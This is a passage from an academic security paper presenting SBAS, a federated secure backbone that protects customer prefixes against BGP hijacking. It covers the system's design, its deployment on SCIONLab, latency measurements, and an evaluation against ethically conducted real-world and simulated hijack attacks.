ingress/egress points and securely exchange packets with hi-
jack resilience, and (2) the secure backbone must deliver the
security properties it promised to any pair of ingress/egress
points even in the presence of internal adversaries.

Routing priority. To enable customers to route traffic
from/to the Internet through a secure backbone, SBAS needs
to disseminate the customers’ prefix announcements to all
other customers and external entities. Prefixes will then be
announced via SBAS and the Internet, resulting in competing
announcements. To maximize the ability to route securely,
SBAS must be able to convince the entities receiving the an-
nouncements to prioritize routing paths through the secure
backbone over the insecure Internet paths.

3.2 Threat Model

Adversary types. SBAS considers two distinct types of ad-
versaries. The first type is an external adversary, who controls
an AS on the Internet and is able to make arbitrary BGP
announcements. The adversary performs BGP attacks to hi-
jack or intercept the traffic originated from or destined to
customers, which enables more sophisticated attacks such as
domain validation attacks [18] and traffic analysis [73]. The
second type is an internal adversary, who may compromise
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entities with various roles in SBAS, attempting to disrupt
connectivity to legitimate customers. We also allow the two
types of adversaries to collude. Attacks that do not target rout-
ing (e.g., exploiting implementation vulnerabilities, or DDoS
attacks) are considered out of scope.

BGP attack types. The primary threat that SBAS aims
to defend against is equally-specific prefix attacks. This is
justified since all prefixes controlled by SBAS are announced
as 24-bit prefixes (or 48-bit IPv6 prefixes), which can only be
attacked via equally-specific prefix attacks (recall that prefix
announcements longer than 24 bits in IPv4 and 48 bits in
IPv6 are typically filtered). Even though the primary threat
we considered is equally-specific prefix attacks, we show that
communication between two SBAS customers benefits from
increased resilience even in the presence of more-specific
prefix attacks. We demonstrate this property in Section 7.1.

4 Design of SBAS

This section describes the control plane, data plane, and oper-
ational aspects in the design of SBAS.

4.1 SBAS Overview
SBAS is an abstraction that enables a federated backbone
network to act as a single AS toward the outside Internet. As
shown in Figure 1, customers of the system can connect via
secure connections (e.g., VPN tunnels) to one or more PoPs,
which are located at the edge of SBAS. The system supports
both (1) customers that control their own address prefixes to
be routed via SBAS, and (2) customers that operate smaller
network domains. The latter can simply obtain addresses
from an SBAS-owned address range. Internally, the PoPs
form a full-mesh BGP topology over the internal routing
protocol of the backbone, which is used to distribute customer
announcements to the globally distributed PoPs and to achieve
maximum security for traffic to secured prefixes. SBAS is
fully compatible with conventional BGP security practices
and internally performs validation checks to ensure that only
legitimate announcements are redistributed by the system.

Moreover, the secure routing protocol used internally, along
with additional security mechanisms, ensure that the redistri-
bution scheme tolerates misbehaving SBAS members. This

enables the system to extend the benefits of the secure feder-
ated backbone to the broader internet, while addressing the
challenge of partial deployment incentives that are limiting
the practical use of such approaches.

SBAS distinguishes between the following roles:
Customer. A customer is an entity that resides outside the

backbone and obtains service from SBAS through a contract,
which enables it to route traffic securely through the system.
SBAS supports both (1) customers that only control single
hosts (e.g., server operators or end users), and (2) entities that
own entire address ranges and AS numbers.

Point of Presence (PoP). A PoP is a member of SBAS
that is located at the edge, i.e., provides connectivity to SBAS
customers and interfaces with the regular Internet.

Backbone operator. Such entities participate in the back-
bone network, but are not located at the edge; they simply
participate in the internal routing and forwarding. This type of
member does not need to be aware of the SBAS infrastructure
running on top of the backbone.

External entity. This term refers to entities on the Internet
that are unaware of SBAS.

SBAS distinguishes among three address categories:
Secure. This includes prefixes announced by SBAS cus-

tomers and SBAS-owned address ranges, which are assigned
to customers. Secure address ranges are announced publicly
via BGP.

Internal. To provide an internal addressing scheme among
PoPs, e.g., to set up iBGP sessions between PoP routers, the
PoPs reserve address space for SBAS internal operation. This
address space is not visible outside the SBAS infrastructure.

Global. We use this term to refer to all globally routable
addresses to which the categories above do not apply.

4.2 The SBAS Abstraction

Toward the Internet, SBAS is abstracted as a single AS mak-
ing BGP announcements. The defining characteristic of the
system is that it employs a federated structure internally: var-
ious entities may participate by connecting to the backbone
network, which runs a secure inter-domain routing protocol.
Compared to offering secure routing through a tier-1 ISP
or IXP that allows any customers to connect via a secure
channel (e.g., VPN or direct physical link), SBAS’s federated
structure and abstraction provide the following benefits: (1)
federation lowers the potential for centralization of the Inter-
net and surveillance of traffic at the hyper-connected single
node, (2) incremental deployability by allowing other ASes
to participate, and (3) an expanding SBAS network results in
a reduction of the hop distance to customers which increases
resilience to routing attacks.
Virtualized full-mesh iBGP. The internal structure of SBAS
can be abstracted to a full-mesh topology between the PoPs,
independent of the routing protocol of the backbone. Over
these connections, the PoPs redistribute announcements from
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Figure 2: The route redistribution process for a prefix X
owned by customer AS A. The prefix is being announced
in parallel through SBAS and to neighbors of A.

SBAS customers as well as the Internet, akin to the operation
of iBGP in a regular AS. In order to prevent tampering by
non-PoP members, the iBGP sessions run over an encrypted
and authenticated connection (such as a VPN tunnel).

4.3 Secure Route Redistribution
SBAS offers a high degree of flexibility to its customers
through support for dynamic route redistribution. Contrary
to a traditional AS, which is controlled by a single entity, the
redistribution scheme to be used in SBAS must support its
federated structure and remain secure in the presence of mali-
cious members. In the following, we describe the design and
security aspects of the route redistribution mechanism.
Federated bring-your-own IP prefix. Customers that al-
ready control one or multiple IP prefixes can use them directly
with SBAS. For this purpose, SBAS implements a route redis-
tribution mechanism that enables a customer to route incom-
ing traffic from the Internet through the secure backbone. The
process is depicted in Figure 2: the customer (AS A) initiates
a BGP session with the PoP (AS P1) over a VPN connection.
Using this session, A makes an announcement for its prefix X ,
which is then redistributed to all other PoPs over the full-mesh
iBGP topology. A remote PoP such as P2, upon receiving such
an announcement over the iBGP session with P1, sends it out
to its eBGP neighbors, i.e., Internet peers as well as SBAS
customers.
Enhanced RPKI-based security. The RPKI system pro-
vides strong security properties for the first hop of BGP adver-
tisements, but does not protect subsequent hops. The design
of SBAS complements this property, as it eliminates attack
surfaces on the path through its secure backbone. SBAS lever-
ages RPKI to defend against two distinct threats: (1) cus-
tomers advertising prefixes that they do not own, and (2) PoPs
falsely claiming authorization for a prefix from a customer.

The first threat is prevented in SBAS using route validation
at the ingress. Each announcement from a customer must
carry a valid ROA that authorizes the AS to originate the
prefix, which is verified both at the ingress PoP and by the
other PoPs that receive the redistributed announcement. To

prevent sophisticated routing attacks, SBAS additionally veri-
fies that the AS path of these announcements does not contain
any ASNs other than that of the origin (but still allowing for
customer traffic engineering using path pre-pending).

An example of the second type of threat would be P3 (in
Figure 2) forwarding the announcement received from P1 in
an attempt to attract traffic to A. To prevent such malicious
behavior, a customer can use RPKI to authenticate a single
or multiple PoPs that are authorized to re-distribute a given
prefix. This approach is similar to path-end validation [28],
but in this case, it can be used purely by SBAS members and
customers without requiring any external deployment.
SBAS-only prefix. Using an SBAS-defined BGP community
tag, the customer can instruct the PoPs to only redistribute the
announcement internally, i.e., to connected customers. This
enables full protection of an address range against hijacking
attacks, since secure prefixes are always prioritized by SBAS
members and customers (as described in Section 4.5).

4.4 Customer Perspective

Service management. Customers sign up for SBAS via an
interface (e.g., SBAS portal) by setting up a contract at their
local PoP (details on governance aspects are given in Sec-
tion 8.2). The connection to SBAS is managed by a client
software that receives information about existing PoPs, in-
cluding publicly reachable IP addresses and a VPN public key
for each PoP. SBAS can suggest a default SBAS PoP based
on a network proximity metric.
SBAS connection setup. A customer can connect to SBAS
by connecting to one or multiple PoPs. A customer looking to
maximize resilience to BGP attacks should generally priori-
tize the PoP that is the fewest BGP hops away. The connection
to a PoP is set up over a VPN tunnel with the PoP’s keypair,
or where possible, the customer can connect directly at the
PoP. The latter case has the additional benefit of eliminating
the possibility of any BGP attack on the connection, as a local
layer-2 connection can be used. If the customer uses multiple
PoPs, one connection is designated as the primary ingress
point, with the others serving as backups for improved failure
resilience. In order to prevent routing loops, the VPN endpoint
that is used to connect to the SBAS PoP must be assigned a
non-secure address. A customer may wish to designate a part
of its address range to be routed via SBAS (advertised via
SBAS), and separate this from their remaining address space
(advertised normally on the Internet).
Secure address assignment. For customers that do not con-
trol an address space, SBAS can offer a (paid) feature to
assign single addresses from a secure SBAS-owned prefix.
This option is configured via SBAS client software. Upon
assigning such an address to a customer, the PoP announces it
to the other PoPs over the existing iBGP sessions. This allows
them to route traffic to the appropriate location and keep track
of addresses that have already been assigned.
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4.5 Routing Logic at PoPs
The following sections describe how an SBAS PoP maintains
routing information for the different types of addresses, and
how packets are forwarded accordingly.
Control plane: Virtualized iBGP. As shown in Figure 3,
each PoP maintains several iBGP sessions to other PoPs over
the backbone network, as well as eBGP sessions to customers
and Internet peers. From the information received over these
sessions, two routing tables are constructed: The first table,
which is given the highest priority, maps secure addresses to
internal addresses. Each entry may be either a remote cus-
tomer prefix that is mapped to an internal address representing
another PoP (in the example, 1.0.0.0/24 to P2), or a local cus-
tomer prefix that can be delivered to the customer’s VPN
endpoint (2.0.0.1/32 to nexthop(D)). The advertisements for
such routes are received over the iBGP session from other
PoPs (in the former case) or over the eBGP session from
customers (in the latter case).

As a lower-priority table, P1 maintains an Internet rout-
ing table for routes obtained from its Internet peers. These
routes will likely also be received via iBGP from other PoPs
distributing prefixes they received from their respective neigh-
bors. In this case, route selection can follow standard Internet
policies or custom logic implemented by P1.
Data plane: Secure address prioritization. Next, we de-
scribe data-plane forwarding decisions for different scenarios
of source and destination locations, as illustrated in Figure 4.

By keeping a strict priority hierarchy between secure routes
and external routes, SBAS provides resilience to BGP hi-
jacking attacks by design. The detailed security properties
achieved by this design are explored in Section 7.1.

Customer-to-customer (HS→ HD) In the simplest case, a
packet originates from a secure address HS in a customer AS
S and is destined to another secure address HD. The packet
from HS is routed through the VPN tunnel to the ingress PoP
P2. There, P2 looks up the secure address HD and finds the
internal address for the egress PoP P1 associated with it. The
original packet is encapsulated over the backbone’s internal
protocol to P2, which delivers it across the VPN tunnel to the
destination in AS D.

SBAS

AS D

P1
P2

AS S

HD

P2 → P1

HS

HS → HD

P3 …

AS S'

HS → HD
HS → HD

Address Type
Secure Internal Global

Figure 4: Routing logic for incoming traffic to a customer
D who owns a secure address range. The packet shown is
sent from a secure address HS and encapsulated across SBAS
using the internal addresses for the PoPs P1 and P2, before
it is delivered to the secure address HD. Packets may also
originate from global addresses such as from AS S′.

External origin (S′ → HD) We consider a packet that is
destined to the secure address HD, but originates from a source
in AS S′ that is unaware of SBAS. In this case, the data plane
operations follow the same sequence: Having received a BGP
announcement from P3 for the secure prefix that contains HD,
AS S′ will forward the packet to the nearest SBAS PoP. From
this point, the same logic is applied as in the previous case.

External destination (HD→ S′) For traffic with global des-
tination addresses, the routing decision offers more options
through the choice of the egress PoP. Whereas in the previous
cases, the traffic was directed to the destination’s preferred
PoP, the decision to select an egress location is up to the
ingress PoP. This makes it possible to optimize for different
metrics such as hijack resilience, which can be achieved by
routing based on shortest AS path length, combined with hi-
jack detection. For instance, if an egress point notices a recent
change in the AS origin of an IP prefix, this egress point may
be avoided for traffic to this IP prefix until the origin change
can be validated. This approach further improves the system’s
resilience to external BGP hijacking attacks.

Through a number of key design principles and by leverag-
ing the secure backbone for internal routing, SBAS is able to
disseminate routes securely to customers and out to the Inter-
net. Using a strict priority hierarchy on the control plane, traf-
fic to/from customers benefits from strong hijack resilience.

5 Implementation and Deployment

We have implemented the SBAS design and deployed it on a
globally distributed infrastructure. A key feature of our imple-
mentation is that it minimizes the need for new software and
composes existing networking components in a synergistic
manner. Driven by this, we implement the prototype of the
SBAS system on top of the globally distributed future Internet
research network SCIONLab. The SBAS system is comprised
of four PoPs, two PEERING announcement nodes, and three
customer locations (Appendix B presents the deployment
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map). Our SBAS implementation running on the PoP consists
of approximately 1000 lines of code. The software automati-
cally configures and runs the various PoP components based
on configuration files that describe the setup of the SBAS
instance. The full source code is publicly available.

Instantiating SBAS with SCION. We employ SCION as
the secure internal routing architecture of SBAS for several
reasons: (1) SCION already provides a strong PKI system
by design, which is essential for the core SBAS properties
such as secure route redistribution, heterogeneous trust for
the federated participants, and cryptographic protection in
routing, (2) SCION provides network programmability with
a high degree of freedom, helping us to virtualize the internal
network structure and build a full-mesh intra-SBAS topology,
and (3) SCION possesses sufficient system maturity with
real-world deployment and operation.

To integrate SBAS with the existing SCION architecture,
we leverage the SCION-IP Gateway (SIG), which translates
between IP and SCION through en- and de-capsulation of
packets. The operation of a SIG at each PoP provides trans-
parent IP connectivity without requiring any changes to cus-
tomers’ networking stacks. We construct the SBAS protoype
deployment on SCIONLab [47], the global SCION research
network spanning over 50 infrastructure ASes across the
world. In our deployment, four ASes instantiated at AWS
datacenters in Oregon, Frankfurt, Singapore, and Tokyo are
directly connected to the SCIONLab core infrastructure, op-
erating as SBAS PoPs.

Data-plane interfaces. Each PoP has three interfaces for
different types of destinations, as shown in Figure 5: (1) A
WireGuard instance to send/receive packets to/from SBAS
customers that are connected to that PoP, (2) A traditional
Internet interface with IP transit/peering and a BGP routing
table, and (3) A SIG that encapsulates IP packets in SCION
packets and sends them over the SCION backbone. This mod-
ular decomposition of interfaces enables a high degree of
flexibility for SBAS. For instance, a different backbone ar-
chitecture can be configured to replace SCION as a drop-in
replacement without requiring changes to the other parts of
the PoP software.

Control-plane management. In addition to these data

plane interfaces, each SBAS PoP maintains BGP sessions
with customers, IP transit providers/peers, and other SBAS
PoPs. These BGP sessions are handled by the BIRD Internet
routing daemon [3]. However, BIRD does not make the final
routing decision; it simply exports the routes learned from its
various BGP sessions into routing tables, which are then pro-
cessed with different priorities by the SBAS routing engine.
More details are presented in Appendix D.

Routing engine. The SBAS routing engine compiles the
routes from these BGP sessions and produces the final for-
warding table that enforces the security/route preference re-
quirements of SBAS. In addition to enforcing that secure
SBAS customer routes are used over standard Internet routes,
the SBAS routing engine can be extended to consider which
SCION paths are used to reach specific SBAS PoPs, enabling
advanced route selection models such as carbon-emission-
based routing [32]. See Appendix D for more details.

Packet handling. Communications inside SCION (e.g.,
from the SIG interface to remote PoPs) do not use IP for
addressing. In SBAS, we encapsulate a SCION packet into
an IP packet, using Generic Routing Encapsulation [39], and
maintain a static table at the SIG that contains a single entry
per PoP, mapping its internal IP address to its SCION address.
This enables us to have a unified IP routing table for both IP
and non-IP packets. The actual routing of each packet can be
performed efficiently by the Linux kernel.

BGP connectivity. To provide PoPs with BGP connec-
tivity and an Internet routing table, we use the PEERING
framework [70], which allows researchers to make BGP an-
nouncements and forward packets through peers and upstream
transit providers. Using this component, our announcements
are propagated to the worldwide BGP ecosystem.

6 Latency Evaluation
Using the global deployment illustrated in Figure 12, we con-
duct a series of experiments measuring the latency achieved
by SBAS in realistic scenarios. SBAS is competitive with
Internet latency and even improves upon it in some cases, de-
spite running in a research testbed using mostly overlay links.
Since the PoP components only introduce sub-millisecond
overhead (Appendix A), we focus on SCIONLab overhead
and end-to-end latency in this section.

The final end-to-end latency `S→D between a source cus-
tomer S (connected to ingress PoP I) and a destination cus-
tomer D (connected to egress PoP E) is composed as follows:

`S→D = `S→I + `E→D +

Appendix A︷ ︸︸ ︷
2 ·delayPoP+

Section 6.1︷︸︸︷
`I→E︸ ︷︷ ︸

Section 6.2

6.1 Latency Optimization Between PoPs
We demonstrate that the backbone network can be leveraged
to optimize and even reduce latency between PoPs. By of-
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Figure 6: Difference between SCIONLab and Internet latency
between all pairs of PoPs. A negative difference indicates
that SCIONLab achieves better latency than the Internet. The
individual latency measurements (before computing the dif-
ference) have an overall mean of 149ms.

fering a choice between multiple paths, SCION enables ap-
plications to choose optimal paths based on various metrics,
whereas BGP by design always selects a single path between
each 〈source, destination〉 pair (which in many cases could
result in sub-optimal latency [47]).

We measure latency between all pairs of PoPs across both
SCIONLab (used in our SBAS deployment) and the Internet.
These measurements are compared in Figure 6. For the Inter-
net latency baseline, we used different measurement methods
to simulate real-world traffic, eliminating protocol-specific
factors: echo requests from the ICMP protocol, and TCP hand-
shakes. The SBAS latency is measured over SCION. Note
that, although the same packet generator is used for the In-
ternet latency and SBAS latency measurements, in SBAS it
appears to the data center network as generic UDP traffic to
locally deliver SCION packets. We observed that the latency
is consistently lower when measured using ICMP as opposed
to the TCP-based measurements. Following the methodology
of Kwon et al. [47], we use TCP as the point of comparison
for SCION latency.

The results in Figure 6 show that SCIONLab achieves
lower latency across PoP nodes than the Internet for ap-
proximately 60% of the measurements, despite consisting
largely of overlay links. The improvement stems from the
sophisticated path control that SCION provides; SCION can
steer packets through latency-optimized paths (e.g., Tokyo-
Singapore-Frankfurt) while BGP selects a detour path (e.g.,
Tokyo-Seattle-Frankfurt). This indicates the potential for im-
proved latency using an inter-domain routing architecture like
SCION, which is able to leverage its advantage even in this
setting with relatively few path choices, and can compensate
for the overhead of tunneling to create overlay links.

6.2 End-to-End Latency

The final latency experiment evaluates the performance
achieved for end-to-end connections between two customer
hosts that communicate across SBAS. To evaluate this perfor-
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Figure 7: Difference of SBAS versus Internet latency between
customers. The individual latency measurements (before com-
puting the difference) have an overall mean of 154ms.

mance, we ran one round of the latency measurement between
all pairs of customer machines in our testbed every hour over
the span of two weeks (336 rounds in total). In each round,
we ran ping 30 times with a one-second interval and com-
puted the averaged latency of ping packets. We picked three
customer locations across multiple continents and chose the
closest PoP as the ingress for each customer. Therefore, these
measurements are expected to compare less favorably to the
Internet baseline than the latency over SBAS, as traffic may
need to take a detour from the source over the nearest ingress
PoP and from the egress PoP to the destination. The results
shown in Figure 7 confirm this hypothesis and align with
the measured latency from customers in the testbed to the
nearest PoP, which is displayed in Table 1. On average, end-
to-end latency over SBAS is approximately 17ms higher
than over the Internet. The end-to-end differences between
SBAS and the Internet are relatively minor when the large
intercontinental latencies are taken into account: for instance,
latency between Zurich and Osaka has a mean of 241ms
over the Internet and 259ms over SBAS, which amounts to a
relative increase of less than 7.5%.

In some scenarios, the latency improvements offered by
SCIONLab even enable end-to-end connections to achieve
better latency than the Internet. The large variance in this
difference over time can be attributed to the instability of
BGP routes, which change frequently over time.

By using an expanded network of PoPs (reducing the la-
tency from Table 1) as well as dedicated SCION links in the
backbone network (as mentioned in the previous section),
SBAS’s end-to-end latency can be improved further.

6.3 Discussion: Scalability
Several aspects of SBAS’s design enable it to scale to a large,
real-world deployment. The bandwidth and compute-memory
expense of SBAS is roughly proportional to the number of
its clients. The PoP module (which includes the WireGuard
tunnel, SIG, and routing logic) maintains no per-flow state.
Adding a client to SBAS involves only adding a few internal
routing table entries and the client’s IP/VPN key to the PoP
WireGuard configuration. SBAS capacity can be scaled to
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Customer PoP Latency [ms]

Zurich Frankfurt 12.36
N. California Oregon 25.38
Osaka Tokyo 12.75

Table 1: Latency from customers to the respective closest PoP.

serve additional customers by increasing the computational
capacity of the PoPs and increasing the bandwidth of the
secure internal inter-PoP network. Key management and ex-
change between PoPs is handled by SCION, which improves
upon RPKI scalability by delegating trust roots and key man-
agement to a limited number of isolation domains [62].

We recognize that the growing size of Internet routing ta-
bles is a present concern [11]. Although SBAS infrastructure
announces /24 prefixes (or /48 for IPv6 infrastructure, the
longest publicly routable prefix in IPv6 [9]) for sub-prefix hi-
jack protection, the number of such announcements is overall
few and proportional to the number of SBAS POPs combined
with the number of connected customer ASes (as each PoP
or customer needs one prefix for their WireGuard endpoint).
While SBAS customers are encouraged to use /24 length-
prefixes (for select security-critical services), SBAS does not
disaggregate customer announcements.

7 Security Analysis

We used two primary methods to evaluate the security of
SBAS: (1) real-world attacks using the PEERING BGP re-
search framework [69], and (2) simulated attacks using In-
ternet topology simulations [33]. These two methods are in-
tended to complement each other. The PEERING framework
allows us to launch ethical BGP attacks against the real SBAS
prototype deployment and accurately captures the dynamics
of Internet routing, but does not let us experiment with many
different adversary locations (as we are limited by the nodes
of the PEERING framework). Topology simulations allow
us to experiment with a large number of adversary locations
but yield less accurate results [41]. However, when consid-
ered side-by-side, the results of these two types of evaluations
complement each other, allowing for a more accurate under-
standing of the security of SBAS.

Recall from the threat model (Section 3.2) that we focus our
evaluation on equally-specific prefix attacks because more-
specific prefix attacks can be avoided by providing services
through disaggregated IP prefixes, which we use for all SBAS-
related addresses. We do additionally consider more-specific
prefix attacks in Section 7.1.

7.1 Evaluating SBAS Deployment Against
Ethical Real-World BGP Attacks

We launched real-world BGP attacks against our SBAS de-
ployment using the PEERING framework. First, we set up

Attack target No SBAS Using SBAS

utah01 prefix Failed Failed
grnet01 prefix Succeeded Failed
utah01 tunnel N/A Failed

grnet01 tunnel N/A Failed

Table 2: Summary of ethically conducted real-world attack
experiments (via PEERING) from an adversary at neu01.

two PEERING locations (known as muxes) to act as SBAS
customers. One customer location was the mux utah01 located
at the University of Utah. The other one was the mux grnet01
located in the Greek education and research network GRNET.
Next, we used the mux neu01 at North Eastern University to
serve as an adversary and launch BGP attacks.

Ethical considerations. An important ethical principle un-
derlying our experiment setup is that we only made BGP an-
nouncements for prefixes that we are authorized to use. Even
though we used the neu01 mux as an adversary to model our
attacks, it had proper authorization from the PEERING frame-
work for all of its BGP announcements. Further, we used IP
prefixes explicitly delegated to our infrastructure (from PEER-
ING and participating educational institutions) that hosted no
production services and served no real users. Finally, we also
followed the PEERING framework’s acceptable use policy as
to not overwhelm or crash internet routers.

Our experiments validate that SBAS can mitigate both
non-adaptive attacks that target customer prefixes as well as
adaptive attacks that target customer tunnels to the SBAS
PoPs. Moreover, SBAS can even enhance communication
security between a SBAS customer and external hosts on the
Internet. Table 2 depicts a summary of our results.

Control case: Successful attack without SBAS. We
started with a control case where SBAS was not used and
the customers in utah01 and grnet01 announced their prefixes
via their traditional BGP providers/peers. The adversary node
at neu01 then attempted to hijack communication between the
two customers by announcing utah01’s prefix and grnet01’s
prefix. We found that while traffic from grnet01 to utah01
was routed successfully to utah01, traffic from utah01 to
grnet01 was routed to the adversary. This let the adversary
observe (and potentially modify) packets sent from utah01 to
grnet01. Thus, the connection between utah01 and grnet01
was successfully attacked by the adversary in the absence
of SBAS because utah01 had a superior BGP route to the
adversary to the one it had to the victim.

Attack mitigation using SBAS. Next, we connected the
utah01 and grnet01 customers to the prototype SBAS im-
plementation using the Oregon and Frankfurt SBAS PoPs
respectively. We then had utah01 and grnet01 make the an-
nouncements for their IP prefixes through SBAS. Recall that
at each customer node, SBAS-learned routes are given higher
priority (Section 4.5) than standard Internet routes. We con-
sider two types of adversaries:
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Non-adaptive adversary. The non-adaptive adversary is not
aware of SBAS and launches BGP attacks against customers’
IP prefixes as usual, as in the control case. Because both
utah01 and grnet01 were communicating through SBAS, the
adversary was incapable of hijacking any of the traffic
between grnet01 and utah01 in either direction of commu-
nication. Note that this result is independent of customer or
adversary location. Two customers will always successfully
resist BGP attacks where an adversary targets a customer’s
IP prefix announced through SBAS. This is due to route pri-
oritization and holds even in the case of more-specific BGP
attacks. SBAS PoPs load secure routes into a separate routing
table that is given higher priority than the Internet routing ta-
ble. SBAS customers’ outbound traffic will always go through
the connected SBAS PoPs. More-specific routes in the global
routing table do not affect routes between SBAS customers.

Adaptive adversary. An adaptive adversary who is aware
of SBAS may instead chose to attack the tunnels that each
customer uses to communicate with SBAS.While this adap-
tive attack is inherently less devastating because tunnels are
end-to-end encrypted, there are still powerful attacks that can
be launched against encrypted traffic [59, 73].

Using our PEERING setup, we had the adversary at neu01
attack the IP prefixes used by utah01 and grnet01 to establish
their WireGuard sessions with SBAS.1 Even when the adver-
sary maliciously announced the IP prefix of the WireGuard
endpoint of both victims with an equally-specific BGP at-
tack, communication between utah01 and grnet01 was un-
interrupted and was never routed to the adversary. Note
that SBAS infrastructure prefixes, like the one used for the
VPN endpoint, are required to be /24s; more-specific attacks
against SBAS VPN endpoints are not viable.

We note that the success of this type of adaptive adversary
against SBAS depends highly on the customer’s choice of
ingress points. As a contrived example, had utah01 chosen the
Frankfurt SBAS PoP as its ingress point and grnet01 chosen
Oregon as its ingress point, communication along both of the
tunnels would have been routed to the adversary. It is because
of the proximity of the SBAS ingress point to the SBAS
customer (relative to the adversary’s location) that SBAS
offers improved security even against this type of adaptive
adversary. In the optimal case, a customer may even be able
to obtain a direct layer-2 connection with a PoP, thwarting
this attack entirely.

Characterizing communication security with external
hosts. In addition to running experiments to measure the se-
curity of communication between SBAS customers in utah01
and grnet01, we evaluated the security benefit that SBAS
offers when a SBAS customer is communicating with an non-
SBAS-protected (i.e., external) host or server on the Inter-
net. We build upon the methodology presented by Birge-Lee

1Another attack can be launched by hijacking the IP prefix of the SBAS
PoPs for their WireGuard endpoint. We could not conduct this in the wild, as
we were not authorized to hijack the SBAS PoPs’ AWS-controlled prefix.

et al. [20]. We constructed a sample of 1k IP addresses from
the Censys Internet-wide IPv4 scans [31] to serve as external
hosts. The sample was chosen at random and filtered to only
include hosts that responded to ICMP echo (ping) requests.

To measure the impact of SBAS on communication be-
tween a SBAS customer and external hosts, we performed eth-
ical equally-specific prefix hijacks from the adversary neu01
against IP prefixes originated by utah01 and grnet01 and an-
nounced by SBAS (using nodes at amsterdam01 and seat-
tle01). Similarly, we also performed ethical hijacks where no
SBAS was used as the control case. Then, for each hijack,
we launched a ping scan of the 1k external hosts in our sam-
ple from an IP address in the prefix that was being hijacked.
When each host in the sample received the ping request, it
generated a ping response with a destination IP address that
was under attack by the adversary. Computing the fraction
of hosts whose ping responses were routed to the adversary
allowed us to measure the impact of each hijack we launched.

SBAS significantly enhances communication security with
external hosts. When the utah01 and grnet01 nodes were
not using SBAS, the adversary at neu01 was able to hijack
traffic from 72% and 76% of the 1k external hosts respec-
tively. When we connected utah01 and grnet01 to SBAS and
launched an attack on the SBAS announced-prefix, the adver-
sary’s hijacking capability reduced threefold to affecting
only 25% of hosts. We emphasize that the presented secu-
rity improvements are conservative, as this experiment was
performed against the SBAS prototype deployment that uses
only the seattle01 and amsterdam01 PEERING muxes. We
are actively working to expand this deployment, and present
recommended expansion steps and the associated security im-
provement in Section 7.2.1. As more nodes are added, hosts
will have a shorter route to the nearest SBAS PoP which will
further reduce the spread of the adversary’s attacks.

7.2 Quantifying Hijack Resilience via BGP
Attack Simulations

To evaluate SBAS security beyond PEERING mux adver-
saries and client locations, we employ Internet-scale attack
simulations. The Internet topology was constructed using the
CAIDA AS topology dataset [1], augmented with peering
information inferred from the bdrmap tool [51] and BGP
Routing Information Base (RIB) data collected from Route
Views [68] and RIPE NCC RIS [2] to correctly model route se-
lection at the AWS datacenters and PEERING nodes that are
part of the SBAS deployment. We build upon the methodol-
ogy developed by Birge-Lee et al. [19] to perform prefix-level
(as opposed to AS-level) simulations. We evaluate how likely
traffic from external sources will still be routed to SBAS (via
the PEERING framework) in the event of an equally-specific
BGP attack. We also explore how security improves with
more BGP-announcing SBAS nodes and with full deploy-
ment of RPKI in the broader internet.
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Figure 8: Cumulative distribution of SBAS resilience against
(randomized) AS-level adversary.

Computing attack resilience metric. We use the notion
of resilience [79] to quantify the fraction of total potential
adversaries that are topologically unable to launch an equally-
specific prefix hijacking attack for an arbitrary prefix an-
nounced by a victim AS. The detailed definition of resilience
is in Appendix B. Resilience is affected by the relative lo-
cations of the victim and adversary ASes, their peering and
provider relationships, and the application of further security
measures, including RPKI.
Internet topology simulations. We run BGP simulations
against an AS-level adversary considering a random sam-
ple of 1k adversary ASes as the attacker set A , corresponding
to approximately 1.39% of the N = 71669 ASes profiled in
the CAIDA AS topology. Against each attacker AS, we con-
sider all other N−1 ASes as the set of external hosts (traffic
sources) B . Given these fixed sets of adversary ASes and
external hosts, we run BGP simulations for two scenarios: (1)
a victim prefix is announced via SBAS BGP announcement
nodes; (2) a victim prefix is announced in a conventional
manner without SBAS. We consider a random sample of 1k
victim prefixes, which are selected based on the methodol-
ogy in Section 7.1. We evaluate SBAS configurations with
varying number and location of BGP announcement nodes.
When varying the number of BGP-speaking SBAS nodes, we
present results for configurations (node locations) that are
globally optimal (more details in Appendix B).

7.2.1 SBAS Significantly Enhances Resilience Across
Adversary ASes and Customer Locations

We analyze the distribution of prefix-level resilience of routes
announced by SBAS against sampled AS-level adversaries
performing BGP hijack attacks and compare them to the
scenario where SBAS is not used (Figure 8). Our results
show that SBAS deployment significantly improves routing
security across adversary ASes and customer locations even
with a small number of BGP announcement nodes. Increasing
the number of announcement nodes in the SBAS backbone
further enhances security.

Figure 8 shows that a conservative deployment of SBAS
with just 5–6 BGP announcement nodes can lead to
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Figure 9: Cumulative distribution of SBAS resilience against
(randomized) AS-level adversary, assuming adoption of ROV.

more than a 60% improvement in median resilience. A
three-node SBAS with announcements at Amsterdam, Seattle,
and ISI yielded a resilience of 0.750, a 37.2% improvement
compared to the baseline median resilience of 0.545 (without
SBAS). Including another announcement node at GRNet
further increased median resilience to 0.825, a 50.9%
improvement. Additional announcement nodes provide
diminishing security returns: a fifth node at UWashington,
to 0.870 (59.3% improvement), and finally a sixth node at
GATech, to 0.884 (61.8% improvement).

Resilience improvements against known serial hijacking
attack ASes. As an illustrative case study, we examine the
threat of BGP attacks launched by a sample of 11 ASes iden-
tified as serial hijacking offenders in prior work [74]. This
smaller sample of attackers allows us to plot resilience for
SBAS customers communicating with external hosts for each
attacker AS. Notably, SBAS improved resilience against all
11 of the known serial hijacker ASes, with a median re-
silience improvement of 64.9% using a configuration of 6
BGP announcement nodes. For the most devastating adver-
sary, AS 9009, the 6-node SBAS produced a median resilience
gain of 602.6%. (Plotted results and further discussion are
included in Appendix B.)

7.2.2 ROV Enforcement in the Broader Internet Can
Further Boost Resilience Offered by SBAS

We further examine the extent of SBAS’s potential security
improvements by considering the adoption of ROV (Route
Origin Validation using RPKI) in the broader (non-SBAS)
Internet. Recall that ROV makes equally-specific hijacks less
likely to succeed by verifying the route’s origin AS: an at-
tacker thus needs to prepend itself to a route originating from
the valid RPKI-signed AS, which increases the attacker’s path
length by one. We repeat the prior simulation setup with the
addition of ROV in the broader internet to evaluate the ex-
tent of resilience improvement provided by a combination of
SBAS and ROV (see Figure 9).

We use ROV-aided to refer to the scenario in which ROV is
deployed by the broader internet. ROV substantially improves

USENIX Association 31st USENIX Security Symposium    2611



resilience offered by SBAS: on average, a ROV-aided SBAS
deployment increased median resilience over its non-
ROV counterpart by 45.0%. For example, a ROV-aided
SBAS deployment with 3 announcement nodes improves
median resilience up to 0.898, a 35.7% improvement com-
pared to the baseline resilience of 0.661 without SBAS. Sim-
ilarly, a ROV-aided SBAS deployment with 6 announce-
